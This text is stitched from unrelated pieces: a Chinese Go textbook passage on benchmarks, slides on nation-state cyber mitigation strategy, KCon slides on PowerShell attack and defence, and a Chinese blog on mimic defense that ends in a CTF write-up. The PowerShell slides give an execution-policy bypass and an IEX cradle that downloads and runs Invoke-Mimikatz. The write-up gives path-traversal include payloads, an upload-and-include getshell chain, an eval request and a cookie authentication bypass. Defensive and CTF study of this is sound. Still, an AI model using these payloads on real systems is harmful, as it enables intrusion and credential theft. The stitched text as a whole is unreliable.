listing28_test.go:第 19 行到第 22 行 19 for i := 0; i < b.N; i++ { 20 fmt.Sprintf("%d", number) 21 } 22 } 代码清单 9-30 第 19 行的 for 循环展示了如何使用 b.N 的值。在第 20 行,调用了 fmt 包 里的 Sprintf 函数。这个函数是将要测试的将整数值转为字符串的函数。 基准测试框架默认会在持续 1 秒的时间内,反复调用需要测试的函数。测试框架每次调用测 试函数时,都会增加 b.N 的值。第一次调用时,b.N 的值为 1。需要注意,一定要将所有要进 行基准测试的代码都放到循环里,并且循环要使用 b.N 的值。否则,测试的结果是不可靠的。 如果我们只希望运行基准测试函数,需要加入-bench 选项,如代码清单 9-31 所示。 代码清单 9-31 运行基准测试 go test -v -run="none" -bench="BenchmarkSprintf" 在这次 go test 调用里,我们给-run 选项传递了字符串"none",来保证在运行制订的基 准测试函数之前没有单元测试会被运行。这两个选项都可以接受正则表达式,来决定需要运行哪 些测试。由于例子里没有单元测试函数的名字中有 none,所以使用 none 可以排除所有的单元 测试。发出这个命令后,得到图 9-14 所示的输出。 图 9-14 运行单个基准测试 这个输出一开始明确了没有单元测试被运行,之后开始运行 BenchmarkSprintf 基准测 试。在输出 PASS 之后,可以看到运行这个基准测试函数的结果。第一个数字 5000000 表示在 循环中的代码被执行的次数。在这个例子里,一共执行了 500 万次。之后的数字表示代码的性能, 单位为每次操作消耗的纳秒(ns)数。这个数字展示了这次测试,使用 Sprintf 函数平均每次 花费了 258 纳秒。 最后,运行基准测试输出了 ok,表明基准测试正常结束。之后显示的是被执行的代码文件的名字。 最后,输出运行基准测试总共消耗的时间。默认情况下,基准测试的最小运行时间是 1 秒。你会看到 这个测试框架持续运行了大约 1.5 秒。如果想让运行时间更长,可以使用另一个名为-benchtime 的 选项来更改测试执行的最短时间。让我们再次运行这个测试,这次持续执行 3 秒(见图 9-15)。 图 9-15 使用-benchtime 选项来运行基准测试 这次 Sprintf 函数运行了 2000 万次,持续了 5.384 秒。这个函数的执行性能并没有太大的 变化,这次的性能是每次操作消耗 256 纳秒。有时候,增加基准测试的时间,会得到更加精确的 性能结果。对大多数测试来说,超过 3 秒的基准测试并不会改变测试的精确度。只是每次基准测 试的结果会稍有不同。 让我们看另外两个基准测试函数,并一起运行这 3 个基准测试,看看哪种将整数值转换为字 符串的方法最快,如代码清单 9-32 所示。 代码清单 9-32 listing28_test.go:第 24 行到第 46 行 24 // BenchmarkFormat 对 strconv.FormatInt 函数 25 // 进行基准测试 26 func BenchmarkFormat(b *testing.B) { 27 number := int64(10) 28 29 b.ResetTimer() 30 31 for i := 0; i < b.N; i++ { 32 strconv.FormatInt(number, 10) 33 } 34 } 35 36 // BenchmarkItoa 对 strconv.Itoa 函数 37 // 进行基准测试 38 func BenchmarkItoa(b *testing.B) { 39 number := 10 40 41 b.ResetTimer() 42 43 for i := 0; i < b.N; i++ { 44 strconv.Itoa(number) 45 } 46 } 代码清单 9-32 展示了另外两个基准测试函数。函数 BenchmarkFormat 测试了 strconv 包里的 FormatInt 函数,而函数 BenchmarkItoa 测试了同样来自 strconv 包的 Itoa 函数。 这两个基准测试函数的模式和 BenchmarkSprintf 函数的模式很类似。函数内部的 for 循环 使用 b.N 来控制每次调用时迭代的次数。 我们之前一直没有提到这 3 个基准测试里面调用 b.ResetTimer 的作用。在代码开始执行循环之 前需要进行初始化时,这个方法用来重置计时器,保证测试代码执行前的初始化代码,不会干扰计时 器的结果。为了保证得到的测试结果尽量精确,需要使用这个函数来跳过初始化代码的执行时间。 让这 3 个函数至少运行 3 秒后,我们得到图 9-16 所示的结果。 图 9-16 运行所有 3 个基准测试 这个结果展示了 BenchmarkFormat 测试函数运行的速度最快,每次操作耗时 45.9 纳秒。紧随其 后的是 BenchmarkItoa,每次操作耗时 49.4 ns。这两个函数的性能都比 Sprintf 函数快得多。 运行基准测试时,另一个很有用的选项是-benchmem 选项。这个选项可以提供每次操作分 配内存的次数,以及总共分配内存的字节数。让我们看一下如何使用这个选项(见图 9-17)。 图 9-17 使用-benchmem 选项来运行基准测试 这次输出的结果会多出两组新的数值:一组数值的单位是 B/op,另一组的单位是 allocs/op。单位为 allocs/op 的值表示每次操作从堆上分配内存的次数。你可以看到 Sprintf 函数每次操作都会从堆上分配两个值,而另外两个函数每次操作只会分配一个值。单 位为 B/op 的值表示每次操作分配的字节数。你可以看到 Sprintf 函数两次分配总共消耗了 16 字节的内存,而另外两个函数每次操作只会分配 2 字节的内存。 在运行单元测试和基准测试时,还有很多选项可以用。建议读者查看一遍所有选项,以便在 编写自己的包和工程时,充分利用测试框架。社区希望包的作者在正式发布包的时候提供足够的 测试。 9.4 小结 测试功能被内置到 Go 语言中,Go 语言提供了必要的测试工具。 go test 工具用来运行测试。 测试文件总是以_test.go 作为文件名的结尾。 表组测试是利用一个测试函数测试多组值的好办法。 包中的示例代码,既能用于测试,也能用于文档。 基准测试提供了探查代码性能的机制。
pdf
Strategic Cyber Security An Evaluation of Nation-State Cyber Attack Mitigation Strategies Kenneth Geers NCIS Cyber SME Free download: ccdcoe.org/278.html About me ✴ 2011-: NCIS Cyber Subject Matter Expert ✴ 2007-2011: NATO Cyber Centre, Estonia ✴ 2001-2007: NCIS Cyber Analysis (Div Chief) ✴ 1999–2001: SAIC Security Studies Web/VB Dev ✴ 1993–2002: USAR SIGINT Analyst, NSA National Security Perspective ✴ All conflicts now have a cyber dimension ✴ Tactical: espionage, propaganda, DoS, CIP ✴ Strategic: terror / war ? ✴ Strategic problems req strategic solutions ✴ Nation-state, international ✴ Beyond tactical, temporary fixes Research Question How to prioritize nation-state cyber attack mitigation strategies? 1. Next-Generation Internet: IPv6 2. Sun Tzu’s Art of War 3. Cyber attack deterrence 4. Cyber arms control Research Outline 1 1. Cyber security Technical discipline to strategic concept 2. Technical primer Hacking, security analysis, simulations 3. Real-world impact Internal security, internat’l conflict, case studies Research Outline 2 4. Threat mitigation strategies Technical, military, political 5. DEMATEL method Strategic analysis / calculate indirect influence 6. Strategy prioritization Recommendation to policymakers Cyber Attack Mitigation Strategies ✴ IPv6 ✴ Art of War ✴ Deterrence ✴ Arms control ➡ Technical ➡ Military ➡ Military / Political ➡ Political / Technical An IPv6 address in hexadecimal 2001:0DB8:AC10:FE01:0000:0000:0000:0000 Zeroes can be omitted: 2001:0DB8:AC10:FE01:: 0010000 000000001:0000110110111000:1010110000010000:1111111000000001: 0000000000000000:00000 00000000000:0000000000000000:0000000000000000:0000000000 Internet Protocol version 6 (IPv6) ✴ Reduces anonymity ✴ China: “Everyone” US: “Everything” ✴ Limitless IPs, NAT not required ✴ Security game-changer ✴ Native IPSec: authentication, encryption ✴ No silver bullet ✴ SW/users still vulnerable 孫 子 兵 法 Sun Tzu’s Art of War Good … not perfect guide to cyber conflict Art of Cyber War 1. Artificial environment 2. Geography changes without warning 3. Physical proximity loses relevance 4. Blinding development of technology 5. Anonymity 6. Few moral inhibitions Cyber Attack Deterrence Mutually Assured Disruption? Deterrence requirements 1. Capability 2. Communication 3. Credibility Deterrence options 1. Denial 2. Punishment Cyber Arms Control Easy to apply 1. Political will 2. Universality 3. Assistance Model: Chemical Weapons Convention Proposal: Cyber Weapons Convention Hard to apply 1. Prohibition 2. Inspection Gov/Civ infrastructure Military forces Arms Control Deterrence Art of War IPv6 Infrastructure manipulation Data modification DoS Propaganda Espionage Availability Integrity Confidentiality Rise of non- state actors Anonymity Inadequacy of cyber defense Asymmetry Myriad IT vulnerabilities Cyber Attack Advantages Attack Categories National Security Threats Targets Mitigation Strategies Lacks credibility Good but insufficient Solves some Q’s, creates others Overview Hard to prohibit, inspect cyber The DEMATEL Method Cyber Attack Advantages 1. Anonymity 2. Vuln IT Infrastr 3. Asymmetry 4. Inad cyber def 5. Non-state actors 1. Anonymity 2. Vuln IT Infrastr 3. Asymmetry 4. Inad cyber def 5. Non-state actors Before After Attack Mitigation Strategies 1. Doctrine: Sun Tzu 2. Next Gen Net: IPv6 3. Deterrence 4. Arms control 1. Next Gen Net: IPv6 2. Doctrine: Sun Tzu 3. Arms control 4. Deterrence Before After Conclusion 1. IPv6 2. Art of War 3. Arms control 4. Deterrence (Tech) (Mil) (Pol / Tech) (Mil / Pol) 1. Technical 2. Military 3. Political Author Publications “From Cambridge to Lisbon: the quest for strategic cyber defense” In peer-review at Journal of Homeland Security and Emergency Management 1-16 (2011) “Heading Off Hackers” Forthcoming in per Concordiam 2(1) 22-27 (2011) “Sun Tzu and Cyber War” Cooperative Cyber Defence Centre of Excellence Feb 9, 1-23 (2011) “Live Fire Exercise: Preparing for Cyber War” Journal of Homeland Security and Emergency Management 7(1) 1-16 (2010) “Cyber Weapons Convention” Computer Law and Security Review 26(5) 547-551 (2010) “The Challenge of Cyber Attack Deterrence” Computer Law and Security Review 26(3) 298-303 (2010) “A Brief Introduction to Cyber Warfare” Common Defense Quarterly Spring 16-17 (2010) “The Cyber Threat to National Critical Infrastructures: Beyond Theory” The Information Security Journal: A Global Perspective 18(1) 1-7 (2009) Reprinted in Journal of Digital Forensic Practice 3(2) 124-130 (2010) “Belarus in the Context of European Cyber Security” The Virtual Battlefield: Perspectives on Cyber Warfare. Authored by F. Pavlyuchenko, translated from Russian to English by K. Geers (2009) Author Publications “Virtual Plots, Real Revolution” coauthored with R. Temmingh The Virtual Battlefield: Perspectives on Cyber Warfare Czosseck & Geers (Eds) Cryptology and Information Security Series (3) Amsterdam: IOS Press (2009) “Cyberspace and the Changing Nature of Warfare” Hakin9 E-Book 19(3) No. 6, SC Magazine (27 AUG 08), Black Hat Japan 1-12 (2008) “Greetz from Room 101” DEF CON, Black Hat 1-24 (2007) “IPv6: World Update” coauthored with A. Eisen ICIW 2007: Proceedings of the 2nd International Conference on Information Warfare and Security 85-94 (2007) Author Publications Strategic Cyber Security An Evaluation of Nation-State Cyber Attack Mitigation Strategies Kenneth Geers NCIS Cyber SME Free download: ccdcoe.org/278.html
pdf
KCon KCon Powershell攻击与防御 360天马安全团队 王永涛(@sanr) Get-Host  360天马安全研究员 WIFI安全 渗透测试 入侵检测  联系方式: weibo.com/0xls [email protected] github.com/ssssanr CONTENTS PowerShell概述 传统的powershell防御 Powershell攻击 PowerShell检测不防御 %95 Powershell脚本为恶意 PowerShell概述 PowerShell概述 如linux 的Bash 基于.Net 技术 WMI Log Registry …. Windows API .NET 导入模块 添加新命令 PowerShell概述 操作系统默认Powershell版本 $PSVersionTable PowerShell Desktop OS Server OS Version 2 Windows 7 Windows 2008 R2 Version 3 Windows 8 Windows 2012 Version 4 Windows 8.1 Windows 2012 R2 Version 5 Windows 10 Windows 2016 攻击者为什么爱PowerShell? 白名单 系统自带 远程管理 使用Windows API&.Net代码 内存加载 powershell 默认环境下的PowerShell防御 PowerShell执行策略 Restricted 默认的设置, 不允许 任何脚本运行 AllSigned 只能运行经过数字证 书签名的脚本 Remote Signed 本地运行脚本不需要 数字签名,但运行下 载的脚本需要 Unrestricted 允许所有的脚本运行 Restricted —— PS1文件丌会自动执行 默认策略禁用所有脚本执行 PowerShell执行策略 PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1 powershell "IEX (New-Object Net.WebClient).DownloadString(‘a.com/a.ps'); InvokeMimikatz Bypass PowerShell执行策略 PowerShell是Windows系统的一个核心组件(且丌可移除) 存在于 System.Management.Automation.dll 动态链接库文件(DLL) 使用.Net就可以调用powershell 禁止powershell有用吗??? 从.Net运行powershell 从.Net运行powershell Powershell攻击 VBA Wmi HTA CHM Js/Vbs 绕过执行策略 多种方式调用 Office VBA-PowerShell Js-PowerShell HTA -powershell CHM -powershell Empire Inveigh Nishang PowerCat PowerSploit Invoke-TheHash WMImplant OWA-Toolkit PowerUpSQL SessionGopher PowerShell Tools - Attack http://www.powershellempire.com/ Empire https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 PowerSploit- PowerView https://github.com/fireeye/SessionGopher SessionGopher Powershell检测不防御 Powershell 免杀 PowerShell版本3及以上: >组策略 >计算机设置 >管理模板 >Windows组件 Windows powershell: Module Logging (psv3) Script Block Logging (psv5) EncodedCommand XOR, Base64, ROT13 Powershell 日志记录 PowerShell Module Logging Module Logging Invoke-Expression (IEX) Module Logging .Net Web Clientdownload Module Logging “mimikatz” “gentilkiwi” 关键词检测Invoke-Mimikatz System.Reflection.AssemblyName 、SE_PRIVILEGE_ENABLED、 System.Reflection.Emit.AssemblyBuilderAccess 关键词检测Invoke-Mimikatz PowerShell Script Block Logging Script Block Logging Encoded Script Block Logging Encoded 源码混淆 日志 FullLanguage(全语言) RestrictedLanguage(限制语言) NoLanguage (没有语言) ConstrainedLanguage(约束语言) 查看语言模式 $ExecutionContext.SessionState.LanguageMo de 启用约束语言模式 [Environment]::SetEnvironmentVariable('__PSL ockdownPolicy', '4', 'Machine') 也可以通过组策略启用:(域控) 计算机配置\首选项\ Windows设置\环境 PowerShell Constrained mode PowerShell Constrained mode PowerShell Constrained mode ELK PowerShell ElasticSearch、 Logstash 、 Kibana Winlogbeat 、 ElasticSearch、 Kibana、 elastalert(告警) ELK PowerShell Thank you! Thank you!
pdf
大白话解释拟态安全 一、前言 一千个读者有一千个哈姆雷特,可能我有一些地方没有理解透彻和没有彻底明白,所以对于我讲的 东西存在偏面或者不好地方,欢迎指正但是不要骂我。 各位师傅可能这几年都听过一些特别高大上的词语,拟态安全,内生安全...在我看来,一开始,可能以 为这是什么全新的技术,全新的理念。其实都是一些旧概念,旧技术的衍生。我们今天主要来讲的就是 拟态安全,究竟是什么东西,尽量使用能听得懂的话语,来进行通俗易懂的解释。 此外,要注意的是,拟态安全并没有开源或公开的设备,或者说我这种菜鸡接触不到。所以我只能根据 网上的公开的文章,论文等资料进行阅读和理解,进行云解答。所以一定会存在理解误差的情况。我会 把看到的文献论文 以caj或pdf的形式打包成压缩包贴在文章后面。 二、拟态是什么 拟态是生物学里面的概念,即指一种生物在形态、行为等特征上模拟另一种生物,从而使一方或双方受 益的生态适应现象。其实就是模拟,模仿,拟态听起来比较高大上。如果有联想记忆好的师傅可能就已 经想到一个历史更为悠久的名词--蜜罐。我觉得如果不能明白拟态是什么,就把拟态当成蜜罐V2.0,蜜 罐的延伸技术就好了。 1、起源 追溯一个事务的本质,就要去理解其发展的过程和历史,根据国内的论文显示拟态安全最早追溯于2013 年9月,那么,真的是如此吗? 我们通过谷歌把时间限制在2013年8月30日之前 其实可以看到最早是可以追溯到2005年一篇来自中国台湾省国立交通大学的硕士论文。这里给出链接, 我随后也会打包(以下开始,有关引用链接做相同处理) https://ir.nctu.edu.tw/bitstream/11536/73946/1/759101.pdf 这是拟态攻击之入侵检测,巴拉巴拉巴拉的 就是在写ids是怎么通过fork来进行防御的,这和我们的拟态 防御没有关系,跳过。(为了确认,通读了全文,顶- -) 别的13年以前的拟态都是和我们要看的拟态无关。那么拟态防御这个概念 在国外的相关技术是什么呢 Moving Target Defence, MTD(叫做移动目标防御) (译文截图)(直接跳过吧,不用看,感兴趣的自己google搜一下) 出发点 移动防御的出发点和拟态的出发点是相似的 划重点了,师傅们,这有助于理解拟态安全的出发点。现有的安全体系里面,大部分(严谨滑稽)都是 基于指纹或者常说的特征来进行识别的,是一种被挨打的方式,大部分都是黑客组织们攻击成功,比如 17010已经打了不知道多少年了,才被后人所知。所以现有的安全体系是无法面对零日漏洞的。所以, 什么拟态安全,内生安全,出发点就是为了增加未知的可利用的漏洞和故意设置的后门成本。注意,这 里是增加成本,因为邬江兴院士也在论文里提及了这个点,不可能保证系统的百分百安全,就是为了恶 心黑客,啊,写到这里让我想到了宝塔。 区别 移动目标防御对于后门不是特别关注,主要关注自身内部未知漏洞攻击的防护(原因:联想一下棱 镜门,再想想大量的后门都是谁写的。2333) 目前移动目标防御主要基于软件技术;拟态安全防御, 不仅仅基于软件, 而是基于拟态计算的软硬件 协同的技术。共同特点还是动态化、多样化、随机化。 相同点 相同的都是动态化、多样化、随机化的主动防御思想。 2、前提 首先,要记住一个基准。安全是服务于产品的。所以拟态安全不能对用户的使用进行较大的影响。 3、实现 别的不提,讲一些我觉得是重点的东西。 硬件层面, 它的目标就是主动变化处理、存储、互联、输入、输出等方式。让系统充满随机性 听起来好像好高大上,就是什么地址分配随机化(眼熟不,2333),指令随机化...就是让一些固定的, 能让黑客容易且需要获取的东西,变成多样化,增加成本 。这个其实现在的产品都在做- -。 (传 统的安全体系) (拟态安全体系) 拟态安全,不是真的就是一个百分百全新的技术,是结合现有的入侵检测,蜜罐,应急响应等等一起 做。 说了这么多 拟态究竟是什么东西?怎么实现的 那么在web层面上,拟态的网络拓扑是怎么样的呢,请看图,(注意,这是来自2017年的论文,可能有 新迭代) 看出亮点了吗,我们以前传统的网络架构,可能就是客户端对应的一个服务端,或者做了负载均衡的服 务端。(说错指正) 拟态怎么做的 就是他在服务端,做了几个流程,第一个点就是 你的请求会随机交到后面的所有服务器处 理,有服务器A 服务器B 服务器C。他们的架构不同,但是对于正常的用户请求,他们返回的应该是一样 的。比如 但是你这个老黑客就不同了,你请求的是 这时候centos 或者ubuntu的服务器可能的确包含成功了,但是winserver摇了摇头,他们根本没有这个 文件,所以包含没成功,响应的内容是空的。 这时候DDRV(响应表决器)看到,怎么请求的结果不一样啊,可能就会 把你这个请求给取消了或者响应正常的?include=头像.jpg, 并且可能对执行了恶意请求的服务器进行还原 同理,这些也可以应用到各种攻击手段中,比如 你sql注入,你注入的一开始,探测到的是mysql,结果后面的mssql orcale接收到你注入的mysql 指令根本不认识,结果导致返回结果不一样,而且别忘了,前面说过,其实拟态不会只用拟态, waf,入侵检测这些恶心东西都在的。过完waf发现 只bypass了mysql mssql不行。 或者你发现了个apache的0day,结果Nginx的服务器没有这个洞- -。又凉。 比如基于Apache的hash collision进行ddos,但是还有nginx和别的服务器能够正常响应,只需要 屏蔽Apache的不一致消息即可 拟态DNS:例如dns投毒,多架几个dns,对于缓存的过程中 不一样啥的 就重新请求。(具体可以 看看:一种基于拟态安全防御的DNS框架设计) 扫描拟态的网站 可以发现,每次的响应都是有区别的,下面看对比图 关闭拟态 ?include=头像.jpg #所有的服务器都有这个头像文件 ?include=../../../../../../etc/passwd 开启拟态 webshell连接: (1) 准备一组web服务执行体, 开启拟态防御功能; (2) 向单一执行体中植入php木马; (3) 使用Weevely客户端尝试连接木马, 连接失败; (4) 向所有执行体中植入php木马; (5) 使用Weevely客户端尝试连接木马, 连接成功后执行dir命令, 命令执行失败如图16所示。 ps:这里我猜是linux没有dir的指令。所以所有的执行体响应不一致,如果执行个whoami呢?或者不要 回显写入进文件里面呢。不过接触不到拟态站,没辙 我猜着可能可以绕过。 这时候师傅可能提问,这不会影响业务吗。每次请求,用户获取的响应是一样的吗?我们看看下图 #MNOS:拟态网络操作系统设计与实现 可以看看这篇 技术细节很多。但是这里不过多叙说,想了一下,这篇讲的真的明白,我觉得没必要再复 述一遍,对拟态的一些简单的处理和实现 感兴趣的 推荐看看 3.2、网络拟态 网络拟态防御通过变换网络结构来改变网络拓扑, 使得网络拓扑呈现出动态性、异构性、不确定 性、非持续性。网络拟态防御主要是通过降低网络的确定性、静态性和同构性来增加攻击者的攻击 难度, 使得攻击者没有足够的时间对目标网络进行探测;同时降低其所搜集信息的有效性, 使其在探 测期间收集的信息在攻击期间变得无效, 降低系统被成功攻击的概率。 人话:这内网的拓扑图一直在变 。而且还容易给检测到我常规的扫描发送的数据包 人话 :主流技术已经实现,分别是: 变形网络 变形网络主要是网络、主机以及应用程序进行随机调整和配置, 使得整个网络呈现出动态性。 相关技术是:美国雷声公司的Morphinator项目、SAFE等 自适应计算机网络 自适应计算机网络指的是网络本身如何通过自动改变拓扑结构和设置 相关技术是:有Fuzzbuster和ACD等技术 开放流随机主机转换技术 (OFRHM) 就是动态网络地址转换、地址空间随机化、网络地址跳变等技术使得网络对外地址呈现出动态性, 目的:使攻击者找不到攻击目标, 以此破坏攻击者的攻击链, 相关技术是:NSAR, HSS, MT6D等技术。 实际:技术未成熟,还没有应用到实践中,2333,但是说不定现在成熟了,毕竟也过了几年了 更加详细的一些技术细节 3.3、拟态防御模型 传统的模型,是 动态异构冗余模型(听起来比较高大上,只要知道其实就是个名字而已): 其中每个执行体还可以继续拆分成不同的执行体,举个例子 输入-> 处理-> 输出 ->输入 ->预处理(把输入的内容通过分发器复制多份,然后分发给不一样的执行体,执行体不会互相干扰,互相独立 的) ->所有执行体执行完成以后都会把结果发给表决器 ->表决器对多个输出结果处理,得到正确的输出, ->输出 ->输入 ->预处理(把输入的内容通过分发器复制多份,然后分发给不一样的执行体,执行体不会互相干扰,互相独立 的) #执行体集群1 windows 执行体集群2 linux #执行体1.1 windows2003 apache #执行体1.3 windows08 apache #执行体1.4 windows03 nginx #执行体1.5 windows08 apache ... ->所有执行体执行完成以后都会把结果发给表决器 ->表决器对多个输出结果处理,得到正确的输出, ->输出 执行体差异越多越不容易出洞。分的越详细越安全。 这个就是拟态的基本原理或者说思想,可以把这个思想用在所有的产品上,不止局限于web 3.4、模型中需要解决的问题: 3.4.1、分发器 分发器是关键,是核心。所有的请求都要通过分发器发送给执行体。要实现一个简洁而又高效的分发 器,又要实现分发器的所有功能。这其中的技术细节是很大的,可以理解成写一个少量用户购买电影票 处理和写一个面向全国的所有用户高铁订票的处理之间的差异是很大的。要让用户感受不到分发器,解 决分发器复制n份带来的占用空间问题、时间损耗问题。http中特殊的session机制带来的问题等等。 session问题这个挺有意思的,师傅们再想想,怎么处理session问题。 3.4.2、表决器 1、时间复杂度高。如何对比,一个一个比较?处理的时间是多少,如果表决器处理不过来,这个模型就 废掉了。当然了,这个问题交给算法大佬解决。2333 2、空间复杂度问题。等待n个服务器的返回结果的时候,要把这个先存起来吧,如果返回结果很大呢, 一个用户就是n*1。n个用户就是n*n了。这是平方增长的消耗?(有算错吗) 3、表决器现有的处理原则是少数服从多数,n个响应数据包,只要n/2+1的数据包相同,那么就判断这 个包为正确。或者没有超过这个数量的包,就触警。这里似乎绕口 举个例子。 存在一个注入点 10个执行体,比如6个mysql,4个mssql 黑客以为是mssql目标,对注入点进行注入。(假设黑客已经绕过了拟态防御的前面所有关卡。) select username and (select IS_SRVROLEMEMBER('sysadmin'))=1 (伪语法,不要纠结会不会 报错) 这时候执行体的结果是 4个mssql发给表决器4个正常的响应 6个mysql发给了表决器相同的报错 表决器就会接纳6个mysql响应的相同报错 这里其实也可以看出一个问题,如果是存在漏洞点的机器大过没有存在漏洞点的机器怎么办,我想到的 是结合waf,waf也可以动态化,执行体a是360,执行体b是绿帽的,执行体c是xx。。或者有别的操作 方法,这些问题不展开讲述,毕竟目的是为了弄明白拟态。 接触过拟态的人是怎么样描述拟态的(以下内容都是来源于 网上,不是我写的): https://mp.weixin.qq.com/s/cfEqcb8YX8EuidFlqgSHqg 强网杯拟态防御精英赛 WEB WP 2018-05-16 部分只言片语 只言片语: 重点看2019年,可以具有更深层的感受 https://zhuanlan.zhihu.com/p/67369780 2019强网杯拟态挑战赛Writeup 这里的拓扑图是他们黑盒出来的。 拟态防火墙 两次参加拟态比赛,再加上简单了解过拟态的原理,我大概可以还原目前拟态防御的原理,也逐渐佐证 拟态防御的缺陷。 下面是我在攻击拟态防火墙时,探测到的后端结构,大概是这样的(不保证完全准确): 其中 Web 服务的执行体中,有 3 种服务端,分别为 nginx、apache 和 lighttpd 这3 种。 Web 的执行体非常简陋,其形态更像是负载均衡的感觉,不知道是不是裁决机中规则没设置还是 Web 的裁决本身就有问题。 而防火墙的执行体就更诡异了,据现场反馈说,防火墙的执行体是开了2个,因为反馈不一致,所以返回 到裁决机的时候会导致互判错误...这种反馈尤其让我疑惑,这里的问题我在下面实际的漏洞中继续解 释。 配合防火墙的漏洞,我们下面逐渐佐证和分析拟态的缺点。 我首先把攻击的过程分为两个部分,1是拿到 Web 服务执行体的 webshell,2是触发修改访问控制权限 (比赛中攻击得分的要求)。 GetShell 首先我不得不说真的是运气站在了我这头,第一界强网杯拟态挑战赛举办的时候我也参加了比赛,当时 的比赛规则没这么复杂,其中有两道拟态 Web 题目,其中一道没被攻破的就是今年的原题,拟态防火 墙,使用的也是天融信的 Web 管理界面。 一年前虽然没日下来,但是幸运的是,一年前和一年后的攻击得分目标不一致,再加上去年赛后我本身 也研究过,导致今年看到这个题的时候,开局我就走在了前面。具体可以看下面这篇 wp 。 https://mp.weixin.qq.com/s/cfEqcb8YX8EuidFlqgSHqg 由于去年我研究的时候已经是赛后了,所以我并没有实际测试过,时至今日,我也不能肯定今年和去年 是不是同一份代码。不过这不影响我们可以简单了解架构。 https://github.com/YSheldon/ThinkPHP3.0.2_NGTP 然后仔细阅读代码,代码结构为 Thinkphp3.2 架构,其中部分代码和远端不一致,所以只能尝试攻击。 在3.2中,Thinkphp 有一些危险函数操作,比如 display,display 可以直接将文件include 进来,如果 函数参数可控,我们又能上传文件,那么我们就可以 getshell。 全局审计代码之后我们发现在 /application/home/Controller/CommonControler.class.php 如果我们能让 type 返回为 html ,就可以控制 display 函数。 搜索 type 可得 $this->getAcceptType(); $type = array( 只要将请求头中的 accept 设置好就可以了。 然后我们需要找一个文件上传,在 UserController.class.php moduleImport函数里 这里的上传只能传到 /tmp 目录下,而且不可以跨目录,所以我们直接传文件上去。 紧接着然后使用之前的文件包含直接包含该文件           'json' => 'application/json,text/x- json,application/jsonrequest,text/json',           'xml'   => 'application/xml,text/xml,application/x-xml',           'html' => 'text/html,application/xhtml+xml,*/*',           'js'   => 'text/javascript,application/javascript,application/x- javascript',           'css'   => 'text/css',           'rss'   => 'application/rss+xml',           'yaml' => 'application/x-yaml,text/yaml',           'atom' => 'application/atom+xml',           'pdf'   => 'application/pdf',           'text' => 'text/plain',           'png'   => 'image/png',           'jpg'   => 'image/jpg,image/jpeg,image/pjpeg',           'gif'   => 'image/gif',           'csv'   => 'text/csv'       ) } else {           $config['param']['filename']=$_FILES["file"]["name"];           $newfilename="./tmp/".$_FILES["file"]["name"];           if($_POST['hid_import_file_type']) $config['param']['file-format'] = formatpost($_POST['hid_import_file_type']);           if($_POST['hid_import_loc']!='') $config['param']['group'] = formatpost($_POST['hid_import_loc']);           if($_POST['hid_import_more_user']) $config['param']['type'] = formatpost($_POST['hid_import_more_user']);           if($_POST['hid_import_login_addr']!='')$config['param']['address- name'] = formatpost($_POST['hid_import_login_addr']);           if($_POST['hid_import_login_time']!='') $config['param']['timer- name'] = formatpost($_POST['hid_import_login_time']);           if($_POST['hid_import_login_area']!='') $config['param']['area-name'] = formatpost($_POST['hid_import_login_area']);           if($_POST['hid_import_cognominal']) $config['param']['cognominal'] = formatpost($_POST['hid_import_cognominal']);           //判断当前文件存储路径中是否含有非法字符           if(preg_match('/\.\./',$newfilename)){               exit('上传文件中不能存在".."等字符');           }           var_dump($newfilename);           if(move_uploaded_file($_FILES["file"]["tmp_name"],$newfilename)) {               echo sendRequestSingle($config);           } else               $this->display('Default/auth_user_manage');       } 上传文件的时候要注意 seesion 和 token ,token 可以从首页登陆页面获得。 至此我们成功获得了 webshell 。这里拿到 webshell 之后就会进入一段神奇的发现。 首先,服务端除了 /usr 以外没有任何的目录,其中 /usr/ 中除了3个服务端,也没有任何多余的东西。 换言之就是没有 /bin ,也就是说并没有一个linux的基本环境,这里我把他理解为执行体,在他的外层 还有别的代码来联通别的执行体。 由于没有 /bin ,导致服务端不能执行system函数,这大大影响了我的攻击效率,这可能也是我被反超 的一个原因... 继续使用php eval shell,我们发现后端3个执行体分别为nginx\apache\lighthttpd,实际上来说都是在 同一个文件夹下 由于 Web 的服务器可以随便攻击,有趣的是,在未知情况下,服务端会被重置,但神奇的是,一次一 般只会重置3个服务端的一部分,这里也没有拟态裁决的判定,只要单纯的刷新就可以进入不同的后端, 其感觉就好像是负载均衡一样。 这样我不禁怀疑起服务端的完成方式,大概像裁决机是被设定拼接在某个部分之前的,其裁决的内容也 有所设定,到这里我们暂时把服务端架构更换。 GET /? c=Auth/User&a=index&assign=0&w=../../../../../../../../tmp/index1&ddog=var_dump( scandir('/usr/local/apache2/htdocs')); HTTP/1.1 Host: 172.29.118.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=spk6s3apvh5c54tj9ch052fp53; think_language=zh-CN Upgrade-Insecure-Requests: /usr/local/apache2/htdocs /usr/local/nginx/htdocs /usr/local/lighttpd/htdocs 阅读服务端代码 在拿到 shell 之后,主办方强调 Web 服务和题目无关,需要修改后端的访问控制权限,由于本地的代码 和远程差异太大,所以首先要拿到远端的代码。 从 /conf/menu.php 中可以获得相应功能的路由表。 其中设置防火墙访问控制权限的路由为 ?c=Policy/Interview&a=control_show', 然后直接读远端的代码 /Controller/Policy/interviewController.class.php 其操作相关为 ... 'policy' => array(   'text' => L('SECURE_POLICY'),   'childs' => array(       //访问控制       'firewall' => array(           'text' => L('ACCESS_CONTROL'),           'url' => '?c=Policy/Interview&a=control_show',           'img' => '28',           'childs' => ''       ),       //地址转换       'nat' => array(           'text' => L('NAT'),           'url' => '',           'img' => '2',           'childs' => array(               'nat' => array(                   'text' => 'NAT',                   'url' => '?c=Policy/Nat&a=nat_show'               ) 直接访问这个路由发现权限不够,跟入 getPrivilege 一直跟到 checklogin 发现对 cookie 中的 loginkey 操作直接对比了 auth_id ,id 值直接盲猜为1,于是绕过权限控制 添加相应的 cookie ,就可以直接操作访问控制页面的所有操作,但是后端有拟态防御,所以访问 500. 至此,我无意中触发了拟态扰动...这完全是在我心理预期之外的触发,在我的理解中,我以为是我的参 数配置错误,或者是这个 api 